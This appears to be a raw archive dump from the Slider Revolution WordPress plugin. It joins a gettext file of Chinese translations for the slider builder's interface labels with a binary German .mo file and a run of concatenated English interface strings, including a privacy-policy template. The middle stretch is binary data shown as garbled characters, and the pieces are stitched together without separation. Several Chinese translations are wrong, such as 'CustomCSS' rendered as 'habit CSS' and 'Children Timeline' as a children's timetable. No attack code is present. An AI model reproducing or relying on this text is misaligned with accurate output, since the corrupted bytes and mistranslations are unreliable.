admin/views/builder-layer-forms.php:847 #: admin/views/builder-layer-forms.php:860 msgid "Default (Global Settings)" msgstr "默认(全局设置)" #: admin/views/builder-layer-forms.php:851 msgid "Start Earlier" msgstr "早点开始" #: admin/views/builder-layer-forms.php:857 msgid "Filter Effect Scroll Based" msgstr "滤镜效果滚动" #: admin/views/builder-layer-forms.php:878 msgid "Layer ID" msgstr "图层ID" #: admin/views/builder-layer-forms.php:879 #: admin/views/builder-layer-forms.php:885 msgid "Classes" msgstr "Classes" #: admin/views/builder-layer-forms.php:881 msgid "Rel" msgstr "相对" #: admin/views/builder-layer-forms.php:882 msgid "TabIndex" msgstr "的TabIndex" #: admin/views/builder-layer-forms.php:884 msgid "Wrapper ID" msgstr "Wrapper ID" #: admin/views/builder-layer-forms.php:896 msgid "Custom Inline & Hover CSS" msgstr "自定义内联和悬停CSS" #: admin/views/builder-layer-forms.php:899 #: admin/views/builder-layer-forms.php:903 msgid "CustomCSS" msgstr "习惯 CSS" #: admin/views/builder-layer-forms.php:909 msgid "" "Depricated Function !
            Only visible by Rendering. Limited influence on " "Styled Layers. Custom CSS Inline will be removed in Version 6.2" msgstr "已删除的功能!
            仅可通过渲染查看。对样式图层的影响有限。习惯CSS 内联将在版本中删除 6.2" #: admin/views/builder-layer-forms.php:929 msgid "Reset Style" msgstr "重置样式" #: admin/views/builder-layer-forms.php:931 msgid "Cursor" msgstr "光标" #: admin/views/builder-layer-forms.php:932 msgid "Pointer Event" msgstr "指针事件" #: admin/views/builder-layer-forms.php:934 #: admin/views/builder-layer-forms.php:1169 msgid "Mask" msgstr "面具" #: admin/views/builder-layer-forms.php:942 msgid "Hover Transform" msgstr "悬停变换" #: admin/views/builder-layer-forms.php:949 msgid "zIndex" msgstr "zIndex" #: admin/views/builder-layer-forms.php:984 msgid "Font Hover Style" msgstr "字体悬停风格" #: admin/views/builder-layer-forms.php:997 msgid "SVG Hover Style" msgstr "SVG悬停风格" #: admin/views/builder-layer-forms.php:1015 msgid "Background Hover" msgstr "背景悬停" #: admin/views/builder-layer-forms.php:1023 msgid "Border Hover" msgstr "边境悬停" #: admin/views/builder-layer-forms.php:1054 msgid "Filter Hover" msgstr "过滤悬停" #: admin/views/builder-layer-forms.php:1105 msgid "Keyframes" msgstr "关键帧" #: admin/views/builder-layer-forms.php:1115 msgid "Set as Editor View" msgstr "设置为编辑器视图" #: admin/views/builder-layer-forms.php:1126 #: admin/views/builder-layer-forms.php:1299 msgid "Basics" msgstr "基本" #: admin/views/builder-layer-forms.php:1131 msgid "Frame Alias" msgstr "帧别名" #: admin/views/builder-layer-forms.php:1138 msgid "Wait for Action" msgstr "等待行动" #: admin/views/builder-layer-forms.php:1145 msgid "Force Prepare" msgstr "强制准备" #: admin/views/builder-layer-forms.php:1152 msgid "Reverse \"IN\"" msgstr "反转“IN”" #: admin/views/builder-layer-forms.php:1165 msgid "Layer" msgstr "层" #: admin/views/builder-layer-forms.php:1166 msgid "Char" msgstr "Char" #: admin/views/builder-layer-forms.php:1167 msgid "Word" msgstr "字" #: admin/views/builder-layer-forms.php:1168 msgid "Line" msgstr "线" #: admin/views/builder-layer-forms.php:1171 msgid "SFX" msgstr "SFX" #: admin/views/builder-layer-forms.php:1215 #: admin/views/builder-layer-forms.php:1385 #: admin/views/builder-layer-forms.php:1455 #: admin/views/builder-layer-forms.php:1525 #: admin/views/builder-layer-forms.php:1665 msgid "Filter" msgstr "过滤" #: admin/views/builder-layer-forms.php:1226 #: admin/views/builder-layer-forms.php:1257 #: admin/views/builder-layer-forms.php:1395 #: admin/views/builder-layer-forms.php:1465 #: admin/views/builder-layer-forms.php:1535 msgid "Slide Direction based Mirroring" msgstr "Slide 基于方向的镜像" #: admin/views/builder-layer-forms.php:1250 msgid "Use Masking" msgstr "使用掩蔽" #: admin/views/builder-layer-forms.php:1267 msgid "Use Clip Path" msgstr "使用剪辑路径" #: admin/views/builder-layer-forms.php:1270 msgid "Rectangle" msgstr "长方形" #: admin/views/builder-layer-forms.php:1271 msgid "Circle" msgstr "圈" #: admin/views/builder-layer-forms.php:1272 msgid "Inverts" msgstr "反转" #: admin/views/builder-layer-forms.php:1274 msgid "Origin" msgstr "起源" #: admin/views/builder-layer-forms.php:1285 msgid "Diagonal From" msgstr "对角线" #: admin/views/builder-layer-forms.php:1286 #: admin/views/builder-layer-forms.php:1311 #: admin/views/builder-layer-forms.php:1328 msgid "Left Top" msgstr "左上方" #: admin/views/builder-layer-forms.php:1287 #: admin/views/builder-layer-forms.php:1312 #: admin/views/builder-layer-forms.php:1329 msgid "Right Top" msgstr "右上角" #: admin/views/builder-layer-forms.php:1288 #: admin/views/builder-layer-forms.php:1313 #: admin/views/builder-layer-forms.php:1330 msgid "Right Bottom" msgstr "右下角" #: admin/views/builder-layer-forms.php:1289 #: admin/views/builder-layer-forms.php:1314 #: admin/views/builder-layer-forms.php:1331 msgid "Left Bottom" msgstr "左下角" #: admin/views/builder-layer-forms.php:1291 msgid "Center Diagonal" msgstr "Center Diagonal" #: admin/views/builder-layer-forms.php:1292 msgid "Center - Left Right" msgstr "Center - Left Right" #: admin/views/builder-layer-forms.php:1293 #: admin/views/builder-layer-forms.php:1315 #: admin/views/builder-layer-forms.php:1332 msgid "Center - Right Left" msgstr "Center - Right Left" #: admin/views/builder-layer-forms.php:1294 #: admin/views/builder-layer-forms.php:1302 #: admin/views/builder-layer-forms.php:1320 msgid "Invert Horizontal" msgstr "反转水平" #: admin/views/builder-layer-forms.php:1295 #: admin/views/builder-layer-forms.php:1303 #: admin/views/builder-layer-forms.php:1319 msgid "Invert Vertical" msgstr "反转垂直" #: admin/views/builder-layer-forms.php:1310 msgid "Corners" msgstr "角落" #: admin/views/builder-layer-forms.php:1341 msgid "Split Chars" msgstr "拆分字符" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Forward" msgstr "向前" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Backward" msgstr "向后" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Middle To Edge" msgstr "中到边缘" #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Edge to Middle" msgstr "边缘到中间" #: admin/views/builder-layer-forms.php:1411 msgid "Split Words" msgstr "分裂的话" #: admin/views/builder-layer-forms.php:1481 msgid "Split Lines" msgstr "分裂线" #: admin/views/builder-layer-forms.php:1568 msgid "No Special Effect" msgstr "没有特效" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Left" msgstr "阻止到左边" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Right" msgstr "阻止到右边" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Top" msgstr "阻止顶部" #: admin/views/builder-layer-forms.php:1568 msgid "Block to Bottom" msgstr "阻止底部" #: admin/views/builder-layer-forms.php:1570 msgid "Block Color" msgstr "块颜色" #: admin/views/builder-layer-forms.php:1592 msgid "Layer Loop Animations" msgstr "图层循环动画" #: admin/views/builder-layer-forms.php:1599 msgid "Enable Timeline Loops" msgstr "启用时间轴循环" #: admin/views/builder-layer-forms.php:1602 msgid "Enable Loop Effects" msgstr "启用循环效果" #: admin/views/builder-layer-forms.php:1612 msgid "Layer Timline Loop" msgstr "图层时间轴循环" #: admin/views/builder-layer-forms.php:1614 msgid "Start Frame" msgstr "开始帧" #: admin/views/builder-layer-forms.php:1615 msgid "End Frame" msgstr "结束帧" #: admin/views/builder-layer-forms.php:1616 msgid "Loop Amount" msgstr "循环金额" #: admin/views/builder-layer-forms.php:1617 msgid "Animate to \"Start\" in Loop" msgstr "动画到“开始”在循环中" #: admin/views/builder-layer-forms.php:1618 msgid "Reset Children Timeline" msgstr "重置儿童时间表" #: admin/views/builder-layer-forms.php:1623 msgid "" "Restriction !
            Children Layers of Group, Column and Row will simply " "restart, without animation from the last loop Frame to first loop frame, " "independent of the Animate to \"start\" in Loop enabled option." msgstr "" "限制!
            子组,列和行的子层将只是重新启动,没有动画从最后一个循环帧到第一个循环帧,独立于启用循环选项中的Animate到“start”。" #: admin/views/builder-layer-forms.php:1636 msgid "Layer Looping Effects" msgstr "层循环效果" #: admin/views/builder-layer-forms.php:1640 msgid "Load Loop Template" msgstr "加载循环模板" #: admin/views/builder-layer-forms.php:1662 msgid "Move" msgstr "移动" #: admin/views/builder-layer-forms.php:1664 msgid "Rotate" msgstr "旋转" #: admin/views/builder-layer-forms.php:1671 msgid "Yoyo" msgstr "Yoyo" #: admin/views/builder-layer-forms.php:1685 msgid "Curved" msgstr "弯曲" #: admin/views/builder-layer-forms.php:1687 msgid "Auto Rotate" msgstr "自动旋转" #: admin/views/builder-layer-forms.php:1772 #: admin/views/builder-layer-forms.php:1776 msgid "Presets" msgstr "预置" #: admin/includes/shortcode_generator/shortcode_generator.class.php:215 msgid "Revolution Slider 6" msgstr "Revolution Slider 6" #. Author of the plugin #: admin/includes/shortcode_generator/gutenberg/gutenberg-block.php:56 msgid "ThemePunch" msgstr "ThemePunch" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:49 msgid "Slider Revolution:" msgstr "Slider Revolution:" #: admin/includes/shortcode_generator/elementor/elementor-widget.class.php:72 msgid "Select / Edit Slider" msgstr "选择/编辑Slider" #. Description of the plugin msgid "Slider Revolution - Premium responsive slider" msgstr "Slider Revolution - Premium responsive slider" #. URI of the plugin msgid "https://www.sliderrevolution.com/" msgstr "https://www.sliderrevolution.com/" #. Author URI of the plugin msgid "https://themepunch.com/" msgstr "https://themepunch.com/" languages/revslider-de_DE.mo000060400000324156151724235750012026 0ustar00\5jj jjj j'jkk./k ^klknktkk k k k k k k kk llll l l lll mm +m7m:mAmEmImMmQmTmXm\mamdmhm lmwm}mm mm mmm m m m mmmmmmm m m nnnn%n 8nDnGnNnQnUnWnZn]n`ncnenhnmn,N0{       7H  !9 H S]q   ȁԁ&Cbt{ ˂ւ  7I antz   ̓؃  ) DNazȄڄ" !3B v  ȅ ҅ ߅  %CU dp  Ɇ Ԇ   .9J[l u &҇ۇ ,7 = IV ft   Έ  & <G O ]j} É Ή ؉ '6#'Z:]Ί,2D2w4Zߋc: ƌЌٌ  29Ma'q ƍٍ  ' 5BIO_gm|ÎҎڎ"0 S `m u1ȏ1!Q s ːӐ .5< CP _j ! ˑ Ց   '2G^fʒ/LUn+u Γޓw~ ɔ ߔ  #=Sbq•ӕە&+D/c(–ǖ ̖ז0+CR [ex . (/7@F Xf{ Әۘ $7 FTgzÙԙ "#4X lyɚ-@Qj ƛ՛2F^tœӜڜJ[k rȝڝ ! &!4Vl  Ϟݞ"-= kx % A MYm  ՠ   + <;Gơ ݡ   (10by ~  Yɢ# ) 5 @ K Wbu#~)̣ӣ ۣ Q%0w$ ͤ 0!@bBإ  . ?J Z h v   Ŧ ʦԦݦ  (/DW l v  ϧڧ  (.1 6AF^bY/5 ISn ת !;Rbj    ūϫ1%%:`rz Ϭ  (86 oz ŭӭ *3M_ h s } ˮ(֮= U c oz  ˯ &D[ ky ǰְ *? D O [ gr{= ڱ    )3 <J_-t %-Ka t ̳ !A Zd s`     ,: AMR d n y ̵ ڵ  - 2 > H S_gn }  ̶*;M_r  ѷݷ   0 <G[s  ø Ѹܸ #4*T-ǹ $7 \gl |  -Ϻ + :DSfv~ .˻ ݻ.3 D?R0üPټ'*R6W Ľҽ۽"2DVfyӾ  &0 BL8^ҿ  )>1p     )7KT\e}   #4C!R t    * 3> GJTK  *?T!c+%4+:Ng|   "  # 0=E T _ kx .-5<c'  -< \j  !$&@?   r  % 2< Ygv8 &#Ae'   $0i7   "9 P ^k    * 7 D PZ _jqz ~    (=-M{ . + ;H]q GN cp 0 + 2 ? KU[o ;  %: Q\m  $ BP U `m t  , 9 D R ^j: ,:I ^ lz-)0+.\#03H[kz " 1R Y f t  ='hDt."Q` o}   #2 8 DP Xf w     * 1 >L [fw   =$1&V%}  25HQX ] hr  #! & 1 < H T`Qz"} +"'8MQ Q\^n $ 3 R _ jt {  %6P?,, #:0k }    *6 E R_ gq d * 5 ? J W c p}  ! -6E\+o 9 MW v    =Xt   "+ : F R]et  % >/I y #3 EP c p~IX^x"   #19 >IQZaio#t "7%]q!v "8[ s } =..? S _kt y ! ,CY,o     &0 ANW % 0 ;Fb     0 9 GSV^aek n |67FU \ g u   / Ab-Kcj#r%$" <H[b x   "-=C X fq +    )?N`)r'.,7J#      #6 <]s    &-5 HT\ s  4 MWq    ! ,8 = GR[v|      " * I \ ` p     9 N .M!|!B!!&b"I"Y"I-#~w## $$$ $ $$ $$ %"% 4%>%S%h%Lx%%%%%"%& 1&#>&b& & &&&&&& &&&& ''/'5'E'L'a'!i'''+'' ''' (%(4(=(V(4i(("(#(-(7).Q)) ))))))))!* 0*;* C* M*[*w** ***2*+ ,+ 6+B+H+X+j+ {+ ++++ ++# ,-, L,$m,, ,",,), -.)-X-g-w----O.U.q. . ... . . .. ../)/E/X/l// //////70=0$N05s0200(0 11 1%1 B1L1;T111111112 2 $2/2/62f2u222222 2222 3-3 C3(d3 3333 33344)4>4'T4|4(44445$5 65D5Ab555556616L6f6}666"6!6$7(?7%h777 77778888O8#k888888 9&9-9"E9h9Lo9999 99: : ::5:L:U:e:t: : ::1:&:$ ;/;F;X; i;s;;; ;; ;;;2; 0<=<D<W<< =%=&4=[= v== ======= >> >#>2>A> U>Uc>)>>> ?1?G? b? l? z???A??? ? ? @@ ,@7@j@@ @@ @ @@ @AA'A,DA qA|A AA A AA"ArA8aB/B*BBBC'C@C4VC.CC:CD D*D?DRDbDuD DD D D D D DD D D EE E'E0E ?EKE RE]ElE rE EEEEEE,E(F:F?F NF [FfFlF FFFFFFFF FF.FqHlHH II I )I JIkIIIIII II J JJ;JVJkJtJ J JJJ J JJ)K-KJKhK zKKK"K KKK LL1L HLTLTfL L!LLL MM%M!7MYMsM MMMMMM M M NNNN5N ENSN fN*tNNN<NNO O'OAOQObO kOxOOO OOOOP P1P@PQPWPnPPPPPP PP Q$Q *Q 7Q CQ NQ [QfQQQTQQQ Q R R%R;RDRLR \RjRR>RRRS/S5SHS^S%dSSS S S!SS!S!!TCTHT cT oT zT!TT TT TbT QU]UqUUU UUUU UUU U UVV ,V 6VDV TVbV sVVV V VVVV V V VW WW W *W6WEWZW qW"|WW WWWWXX+X=XWX`X$pXX XXXXX XXXY YY4YKYeYyYY YYY YYYY ZZ(/ZJXZGZ#Z2[&B[i[ |[[,[ [ [[[\\/\I\[\=v\\ \\\ ]]!]9] K]U] l]>z]] ]] ]C]>^T^Sj^:^^`_;s__D__`*`=`O`X`p```````aaa a$a"6aYaaaea{aa aaa aa abIbabpbbb bb b bccG c(hcccc ccccc dd/d BdPd jdtd |ddd ddd ddee/e 8eFebeuee&e e e e e e e f f f 'f 3f =fGf \f gfqfwf f fffgfgg gggg>hhii&-i)Ti:~i*iHi-jvTvqvv vvw w w wwwwxx $x 2x ?x Kx Yxex lxxxxxxxxxx xxx xxx yy/yGybyyIy yy zzz;0zlz{zz zzzzz {*{9{?{O{a{{{|*|>|Z| c|q||G||| }#}2} ;} I} U}a}g}z} }})}C}~%~4~C~Y~#t~~~~~~9Hbsz   !1M` z   ̀׀ $ )Ja?vׁ 4BQm+ɂ052I|#6Ճ9 FYn~"-#Qm t    ȅԅم ߅B91@r8 6Ki  "ƈ Έ؈݈  !. 6DZ iwĉى߉ -6G Wet ʊ ؊ R$X5}, &'+;SɌی  *<+g   ύۍ}u)L#vE-*9JN; ՒV I,V6J  '4F[x є  /f8C>" (3Ki]{ٖ!!>Pg  ȗԗ ( >LPVimqv& 6DVh zÙٙ+?"P s)Ú9 ;Vfz%S˛,1^s Ŝќ  '; AKT'h!!Ԟ-FM hv|  Ÿ Ο۟ "?\afm|"!۠2 / >Jatӡۡ  '7P,=C\o$ǣ ֣ ,4 9 D Q\ckq%vŤ Ԥ  /TB!ܥ!'Ii"Ħ ̦צ?ߦ8Xo   Ƨѧ ا   "25:=Qg not found! should be numeric should not be empty"Alt" Attr."Include RevSlider libraries globally" "M" wait's on Action"N" wait's on Action"Pages to include RevSlider libraries" option "Title" Attr.#$9.99© Copyright & License Info<a> Tag Link<h1><h2><h3><h4><h5><h6><p><rs-layer><span>(x%, y%)* All settings adjusted by the guide can be changed later.
            Click the Help Icon to find options & documentation--- Choose Slider ---04.03.201805.03.201808.03.20181 Purchase Code per Website1 Purchase Code per Website!1 Spike Bottom1 Spike Middle1 Spike Top1.1.85:11/21/410.11.1212.12412491313.14.14.09.201914:0015.16:917.09.2019178618.08.201819198241on1 Support1st Frame2 x 2 Black2 x 2 White2.2.39:12021221:00243 x 3 Black3 x 3 White3.321383D Crop Fix (z)3D Effects Enabled3D Settings4.457819474:355.6.7.8.99.9.99

            In case you’re using Google Web Fonts (default) or playing videos or sounds via YouTube or Vimeo in Slider Revolution we recommend to add the corresponding text phrase to your privacy police:

            YouTube

            Our website uses plugins from YouTube, which is operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a YouTube plugin, a connection to the YouTube servers is established. Here the YouTube server is informed about which of our pages you have visited.

            If you're logged in to your YouTube account, YouTube allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your YouTube account.

            YouTube is used to help make our website appealing. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            Further information about handling user data, can be found in the data protection declaration of YouTube under https://www.google.de/intl/de/policies/privacy.

            Vimeo

            Our website uses features provided by the Vimeo video portal. This service is provided by Vimeo Inc., 555 West 18th Street, New York, New York 10011, USA.

            If you visit one of our pages featuring a Vimeo plugin, a connection to the Vimeo servers is established. Here the Vimeo server is informed about which of our pages you have visited. In addition, Vimeo will receive your IP address. This also applies if you are not logged in to Vimeo when you visit our plugin or do not have a Vimeo account. The information is transmitted to a Vimeo server in the US, where it is stored.

            If you are logged in to your Vimeo account, Vimeo allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your Vimeo account.

            For more information on how to handle user data, please refer to the Vimeo Privacy Policy at https://vimeo.com/privacy.

            Google Web Fonts

            For uniform representation of fonts, this page uses web fonts provided by Google. When you open a page, your browser loads the required web fonts into your browser cache to display texts and fonts correctly.

            For this purpose your browser has to establish a direct connection to Google servers. Google thus becomes aware that our web page was accessed via your IP address. The use of Google Web fonts is done in the interest of a uniform and attractive presentation of our plugin. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If your browser does not support web fonts, a standard font is used by your computer.

            Further information about handling user data, can be found at https://developers.google.com/fonts/faq and in Google's privacy policy at https://www.google.com/policies/privacy/.

            SoundCloud

            On our pages, plugins of the SoundCloud social network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T 3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the SoundCloud logo on our site.

            When you visit our site, a direct connection between your browser and the SoundCloud server is established via the plugin. This enables SoundCloud to receive information that you have visited our site from your IP address. If you click on the “Like” or “Share” buttons while you are logged into your SoundCloud account, you can link the content of our pages to your SoundCloud profile. This means that SoundCloud can associate visits to our pages with your user account. We would like to point out that, as the provider of these pages, we have no knowledge of the content of the data transmitted or how it will be used by SoundCloud. For more information on SoundCloud’s privacy policy, please go to https://soundcloud.com/pages/privacy.

            If you do not want SoundCloud to associate your visit to our site with your SoundCloud account, please log out of your SoundCloud account.

            A Slider with the given alias already existsA new version of Slider Revolution is available.API KeyAPP IDAPP SecretAccess SecretAccess TokenAction DelayAction NeededAction TypeActionsActivate Add-OnActivate Global Add-OnActivate LicenseActivate Slider Revolution for Premium Benefits (e.g. Live Updates).Activate To UpdateActivatedActivating Add-OnActivationActive Transition OrderAdd Action to Add FolderAdd LayerAdd LineBreak AfterAdd LineBreak BeforeAdd New MetaAdd New Navigation Add Slide(s)Add Slider as ModalAdd To CartAdd TransitionAdd to Cart ButtonAdd to Cart URLAdd to SelectionAdd-OnAdd-OnsAddOn could not be activatedAddOn could not be deactivatedAddOn deactivatedAddOnsAddOns Outdated. Please UpdateAddOns need attentionAdding new Blank Module...AdditionalAddon RequiredAddonsAdmin ThumbAdv. StyleAdvancedAdvanced ActionsAdvanced Module EmbeddingAdvanced SettingsAdvenced Media SettingsAfter ActionAlbumAliasAligmentAlignAligned byAllAll EventsAll LanguagesAll LayersAllow FullscreenAlt. ImageAmount of SlidesAn Error Occured while importingAnim FromAnim ToAnimate FromAnimate to "Start" in LoopAnimationAnimation DurationAnimation Duration in msAnimation EaseAnimation TemplateAnimation ViewAnimation could not be savedAnimation deletedAnimation savedAny custom meta tagAre you sure you want to continue?Are you sure you want to delete Are you sure you want to delete the selected Slide:Are you sure you want to export ArgumentsArrow StyleArrow TypeArrowsAs ModalAscendingAspect RatioAttach to BGAttributesAudioAudio Wave Library is Loading...AuthorAuthor Avatar URL(size in px)Author Posts PageAuthor WebsiteAuthor nameAuthor, Editor, AdminAutoAuto PlayAuto RotateAuto Rotate SlideshowAvailable VersionBG & SpaceBG 3D DepthBG ColorBG FilterBG FitBG ImageBG SpeedBG in FrameBackBack to OverviewBackgroundBackground ColorBackground HoverBackground VideoBackwardBad RequestBasicBasic MetasBasic TransformsBasicsBearer Token is good, check your queryBehaviorBehind Layers (Back)Blank Page CreatedBlank page has been created:Blank slideBlend ModeBlockBlock ColorBlock ScrollBlock to BottomBlock to LeftBlock to RightBlock to TopBlurBody ClassBorderBorder ColorBorder HoverBorder StyleBorder, Overlay & ShadowBothBottomBox ShadowBreak AtBrowser WidthBrowser behaviorBuilding Select BoxesBulk SlideBulletsBullets StyleBullets TypeBullets VisibilityButtonButtonsBy Compressing OutputBy Echo OutputCSSCSS/JS EditorCUSTOM CSSCUSTOM JSCache (sec)Cache (sec):Call BackCall this function to pause the slider.Call this function to play the slider if it is paused.Call this function to start the slider.Can not be EmptyCan not be rendered in Editor. Please preview in Frontend.Can't connect programatically to the ThemePunch servers, please check your webserver settingsCan't create zip file: Can't delete default preset of default navigationsCan't get the bearer token, check your credentialsCan't modify a default preset of default navigationsCan't write into the uploads folder of WordPress, please change permissions and try again!Can't write the file into the uploads folder of WordPress, please change permissions and try again!CancelCancel & Reload LaterCapitalizeCaraouselCarouselCarousel LayoutCategoriesCategories & TagsCategories:Category1, Category2, Category3CenterCenter - Left RightCenter - Right LeftCenter DiagonalChanges that you made may not be saved.Changing Screen SizeChannelChannel IDCharCheck RequirementsCheck for UpdatesChoose ImageChoose Revolution SliderChoose Slide TemplateChoose SliderChoose VideoCircleClassClass to ToggleClassesClearCleared AlbumsCleared PhotosetsClickClick to ChooseCloseClose Slider ModalColorColor in FrameColoredColumn SettingsColumnsComing Slide as jQuery ObjectConcertConnect with ThemePunchConnection to Update Server FailedCons. SecretConsumer KeyContentContent BasedContent and Width BasedControlsCopyCopy Embed CodeCopy ShortcodeCopyright & Licensing - Slider Revolution LibraryCornersCould not create SlideCould not create SliderCould not fetch Facebook albumsCould not fetch YouTube playlistsCould not fetch flickr photosetsCoverCover ColorCreate Blank PageCreation AscendingCreditsCurrent
          • IndexCurrent LevelCurrent PostCurrent SlideCurrent Slide as jQuery ObjectCursorCurvedCustomCustom "Alt"Custom "Title"Custom CSSCustom Inline & Hover CSSCustom MetaCustom OrderCustom SizeCustom Size is currently DisabledCustomCSSCustomizationDashedDateDate ModifiedDate PublishedDate createdDate modifiedDebug ModeDecision Modal TitleDecrease Module HeightDefaultDefault (Global Settings)Default BasicsDefault Desktop Content WidthDefault Mobile Content WidthDefault New Layer SettingsDefault Notebook Content WidthDefault SettingDefault Settings for LayerDefault Tablet Content WidthDefaultsDefer JavaScript LoadingDeleteDelete All Sliders and Folders included in Delete SlideDelete SliderDelete Template ?Deleting SliderDeletion failedDepricated Function !
            Only visible by Rendering. Limited influence on Styled Layers. Custom CSS Inline will be removed in Version 6.2DepthsDeregister this CodeDeregistration failed!DescendingDescriptionDesktopDesktop Swipe EnabledDiagonal FromDiff. AnimDimensionDirectionDisableDisable Add-OnDisable Blur/Focus behav.Disable Global Add-OnDisable Ken B.Disable MobileDisable SliderDisable on MobileDisabledDisabled - Time BasedDisabling Add-OnDismiss MessagesDisplayDisplay Mode in ColumnDisplay a certain photoset from a userDisplay a galleryDisplay a group's photosDisplay a user's public photosDisplays a Slider Revolution Module on the pageDo ItDo you want to start the Update process?DocsDoneDont Do ItDont Force FullwidthDottedDoubleDownloading the Zip File may take a few moments.Drag & Drop Import FileDrag to SelectDribbbleDuplicateDuplication FailedDurationDynamic Viewport LoadingEQH-1879EX 87 TNTEase SpeedEasingEast 32th Street between Park & Lexington Avn Edge to MiddleEdit PageEditor ViewEditor is Loading...EffectEffectsElementsEmbedEmpty PlaceholderEnable Add-OnEnable Global Add-OnEnable Loop EffectsEnable SpikesEnable Timeline LoopsEnable/Disable Add-On on ModuleEnabledEnabled - Scroll BasedEnabling Add-OnEndEnd FrameEnter Access SecretEnter Access TokenEnter Album IdEnter Api KeyEnter Channel NameEnter Consumer KeyEnter Container .class or #idEnter External URLEnter FaceBook Page URLEnter FullscreenEnter Gallery URLEnter Group NameEnter Group URLEnter Image URLEnter LinkEnter MPEG SourceEnter Preset Name to Save or DeleteEnter Purchase CodeEnter SecretEnter Twitter NameEnter User NameEnter User URLEnter Video IDEnter Vimeo IDEnter YouTube Channel IDEnter YouTube IDEnter a Module nameEnter the App IDEnter the App SecretEnter your Api KeyEnter your EmailError downloading layersError downloading layers dataError downloading objectEvent BasicsEvent End DateEvent IDEvent LocationEvent Start DateEvent end dateEvent end timeEvent location addressEvent location countryEvent location nameEvent location postcodeEvent location regionEvent location slugEvent location stateEvent location townEvent start dateEvent start timeEventsExample 2,homepage,5Exceeded filesize limit.ExcerptExcerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy.Exit FullscreenExportExport SliderExternal ImageExternal ScrollFAQ'sFOLDERFONTFREE POSITIONED LAYERSFaceBook SettingsFacebookFacebook ExtrasFactor on BG'sFactor on LayersFactory SkinsFadeFade SettingsFailed to Move Slider Into FolderFailed to Update TagsFailed to update TitleFallback SettingsFavorite ChangedFavorite CountFavoritesFeatured ImagesFeatured OnlyFeatured ProductsFetch ByFile Succesfully ImportedFilenameFilterFilter Effect Scroll BasedFilter Effect Scroll is now generally EnabledFilter HoverFiltersFind My CodeFind information about the YouTube API key hereFinnished with slide changeFirst SlideFive SpikesFix RS Table IssuesFix during ScrollFixed on TopFlickrFlickr ExtrasFlickr SettingsFloatFolderFolder Creation FailedFolder DeletedFolder Deletion FailedFollowFollow LinkFontFont & IconFont FamilyFont Hover StyleFont IconsFor the pages and posts editor insert the Shortcode:For the theme html use:Force Cover ModeForce Lazy LoadingForce Overflow VisibleForce PrepareForce RS DB CreationForwardFour SpikesFrame AliasFrame MFrame NFrame Size can not be Extended. Not enough Space.Frame wait's on ActionFromFrom BottomFrom LeftFrom RightFrom Slider SettingsFrom StreamFrom TopFrom the widgets panel drag the "Revolution Module" widget to the desired sidebar.FrontFull HeightFull PriceFull WidthFull-ScreenFull-WidthFullscreen ActionsFunctionFunction Not Available in Demo ModeFunction Only Available for AdminstratorsFutureGalleryGallery URLGapGap (Border)GeneralGeneral SettingsGet a Purchase CodeGet access to the latest News from ThemePunch. We promise to never send you Spam!Get the amount of existing slides in the slider.Get the current focused slide index.Get the previously played slide.GlobalGlobal Layer SettingsGlobal LayersGlobal Layers TimelineGlobal SettingsGlobal Settings not saved/updatedGlobal Settings saved/updatedGlobal Style PresetsGlobal Value ! Option to find under Slider Settings - Parallax TabGlobalsGo To SlideGo To Slide with IDGo to 1st Frame Go to EditorGo to Frame "N"Go to Last FrameGoTo FrameGood Afternoon Good Evening Good Morning Google FontsGrayscaleGrid = ModuleGroupGroup URLGroups' PhotosHML5 VideoHTMLHTML DataHTML TagHTML5 AutoplayHTML5 VideoHandleHandlingHeadlinesHeightHeight Attrib.HiddenHidden in NavigationHide "Under" WidthHide Highlight BoxesHide OverHide UnderHide Under Browser width...Hierarchy StickyHighHigher LevelHome Page OnlyHorizontalHoverHover TransformHover ViewI have a Purchase CodeICONIDID of ElementIMAGEINIconIcon / SVGIdleIf you want to use Slider Revolution on another domain, please purchase another licenseIf you want to use the PHP function "add_revslider" in your code please make sure to activate If you want to use your purchase code on
            another domain, please deregister it first orIgnore Lazy LoadingImageImage Layer ContentImage URLImage from Stream if existImage from Stream if existsImage is Loading...ImagesImport LayerImport ReportImport Selected LayersImport file not foundImportedImporting Layers...In StockIn Stock OnlyInclude Libraries GlobalyIndex of Current SlideInfinity ScrollInheritInitialization DelayInline ModeInline-BlockInnerInner / OuterInsert scripts in FooterInstagramInstagram SettingsInstagram reports: Content did not match expectedInstagram reports: Content is privateInstagram reports: Parse script errorInstagramm ExtrasInstallInstall Add-OnInstall TemplateInstall Template PackageInstalledInstalled VersionInstalling Add-OnInstalling TemplateInstant UpdatesIntelligent InheritingInteractionInvalid EmailInvalid Email/Could not connect to the Newsletter serverInvalid IDInverse Toggled ContentInvert HorizontalInvert VerticalInvertsJohn DoeJump to SlideKeep Auto SizesKeep Breakpoint HeightsKeep Last StateKen BurnsKen Burns / Pan ZoomKeyboardKeyboard Arrow NavigationKeyboard SettingsKeyframeKeyframe #KeyframesKill SliderLAYERSLargeLarge ControlsLarge SquareLast FrameLast ModifiedLast SlideLast Slide Started, Slider is at the endLast slide startsLayerLayer Action (enterstage, enteredstage, leavestage,leftstage)Layer ActionsLayer AlignLayer AreaLayer Area SizeLayer ContainerLayer EventsLayer IDLayer ImportLayer LibraryLayer Loop AnimationsLayer Looping EffectsLayer ObjectsLayer OptionsLayer Timline LoopLayer 